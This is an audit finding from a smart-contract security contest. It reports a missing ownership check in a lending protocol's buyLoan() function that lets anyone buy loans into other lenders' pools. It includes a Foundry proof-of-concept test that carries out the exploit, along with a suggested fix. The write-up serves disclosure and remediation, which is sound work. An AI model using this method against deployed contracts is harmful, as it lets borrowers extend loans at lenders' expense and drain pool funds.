20,000 USDC
View results
Submission Details
Severity: high
Valid

Anyone can buy a loan for someone else without a pool or a borrower can extend their loans indefinitely.

Summary

There is no check whether someone is the pool lender before buying a loan, so anyone can just buy loans for others and mess up the protocol or a borrower can just keep buying their loan in the expense of others and extend it indefinitely.

Vulnerability Details

The Lender.buyLoan() function is vulnerable to the aforementioned scenario, since there is no check whether the loan buyer is the owner of the pool. So anyone can manipulate the pool by buying loans for others or just keep buying their loan with other people's tokens.

The zapBuyLoan() is not vulnerable since a pool is created before buying the loan with lender as the msg.sender, so there is no incentive in this function.

Impact

Add the following test to Lender.t.sol :

function test_anyoneBuyLoanWithoutPool() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 2000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 2 days,
interestRate: 5000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
vm.startPrank(borrower);
lender.buyLoan(0, poolId);
// assert that we paid the interest and new loan is in our name
assertEq(lender.getLoanDebt(0), 110*10**18);
assertEq(loanToken.balanceOf(address(borrower)), 995*10**17);
assertEq(collateralToken.balanceOf(address(lender)), 100*10**18);
(,,,,uint256 poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 1890*10**18);
}

Tools Used

Foundry, manual review

Recommendations

Add the following check to the buyLoan() function:

function buyLoan(uint256 loanId, bytes32 poolId) public {
....
if (block.timestamp > loan.auctionStartTimestamp + loan.auctionLength)
revert AuctionEnded();
++ if (pools[poolId].lender != msg.sender)
++ revert Unauthorized();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.